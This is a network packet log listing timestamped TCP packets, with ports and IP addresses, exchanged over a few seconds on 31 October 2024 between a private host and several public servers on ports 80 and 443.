Oct 31, 2024 20:52:34.624505997 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.624650955 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.639238119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639257908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639266968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639285088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639297962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639309883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639396906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639406919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639416933 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639484882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639496088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639532089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639544010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639656067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639667988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639677048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639755011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639765978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639776945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639787912 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639846087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639859915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.639869928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.645277977 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.660984039 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.661214113 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.666541100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666553020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666563988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666627884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666639090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666650057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666661978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666755915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666766882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666776896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666789055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666800976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666827917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666838884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666899920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666910887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.666922092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667004108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667015076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667026043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667036057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667047977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667063951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667131901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667143106 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667155027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667259932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667272091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667282104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667294025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.667406082 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.667484999 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.667551041 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.667581081 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:34.895337105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:34.899322033 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:35.169249058 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:35.169329882 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:35.179322958 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:35.183104992 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:35.183475018 CET	49769	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:35.183512926 CET	443	49769	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:35.343776941 CET	80	49770	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:35.347249031 CET	49770	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:35.351521015 CET	49770	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:35.355349064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:35.357520103 CET	80	49770	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:35.362850904 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:35.656784058 CET	80	49770	185.215.113.206	192.168.2.4
Oct 31, 2024 20:52:35.658186913 CET	49770	80	192.168.2.4	185.215.113.206
Oct 31, 2024 20:52:36.252489090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:36.259381056 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:36.263520002 CET	49754	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:36.263860941 CET	49772	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:36.268943071 CET	80	49772	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:36.269048929 CET	80	49754	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:36.271224976 CET	49772	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:36.271226883 CET	49754	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:36.275719881 CET	49772	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:36.281817913 CET	80	49772	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:37.005455017 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.012406111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012423038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012434959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012445927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012459040 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012505054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012517929 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012531996 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012545109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012557983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012720108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012733936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012763977 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012774944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012785912 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012798071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012809038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012820959 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012831926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012844086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012856960 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012867928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012878895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012962103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012979984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.012990952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013036013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013046980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013058901 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013072014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013174057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013185024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013199091 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013210058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013221979 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013233900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013246059 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013257980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013273001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013344049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013457060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013468981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013480902 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013504982 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013521910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013534069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013535976 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.013546944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013561010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013780117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013789892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013802052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.013906956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014010906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014022112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014029026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014039040 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.014039993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014053106 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014115095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014125109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014134884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014147043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014158010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014170885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014204979 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.014241934 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014255047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014266968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014269114 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.014297962 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.014326096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.014358997 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.014384031 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.014415026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014431953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014444113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014458895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014471054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014482021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014493942 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014504910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014517069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014528990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.014786005 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.015104055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015115023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015125990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015146971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015157938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015168905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015181065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015309095 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015326023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015336990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015347958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015362978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015439987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015450001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015460968 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.015467882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015481949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015494108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015506983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015609026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015620947 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015631914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015644073 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015655994 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015667915 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015712023 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.015877008 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.015908003 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015918970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.015930891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016020060 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.016083956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016091108 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.016136885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016149044 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016160011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016191959 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.016223907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016235113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016247988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016259909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016340971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016351938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016360998 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016367912 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.016380072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016385078 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.016392946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016403913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016415119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016424894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016432047 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.016437054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016475916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.016527891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016623974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016635895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016648054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016663074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016674042 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016681910 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.016686916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016700983 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.016777039 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.017096043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017110109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017119884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017133951 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017143965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017160892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017272949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017282963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017293930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017303944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017316103 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017323971 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.017332077 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017343998 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017374992 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.017406940 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017417908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017440081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017451048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017458916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.017462969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017476082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017487049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017498970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017512083 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017525911 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017539024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.017589092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.017621040 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.018017054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018027067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018038034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018052101 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018098116 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.018246889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018259048 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018270969 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018281937 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018294096 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018306017 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018366098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018366098 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.018378973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018393993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018407106 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018419027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018429995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018441916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018513918 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018523932 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.018528938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018541098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018552065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018560886 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.018563986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018578053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018590927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018598080 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.018603086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018615961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018627882 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018636942 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.018665075 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.018683910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.018735886 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019185066 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019196987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019207954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019221067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019228935 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019234896 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019249916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019277096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019304991 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019320965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019335985 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019349098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019362926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019388914 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019409895 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019469023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019479990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019494057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019505024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019515991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019529104 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019539118 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019541025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019579887 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019593000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019606113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019630909 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.019942045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019977093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019988060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.019999981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.020004988 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.020010948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.020023108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.020036936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:37.020057917 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:37.020085096 CET	49766	80	192.168.2.4	185.215.113.16
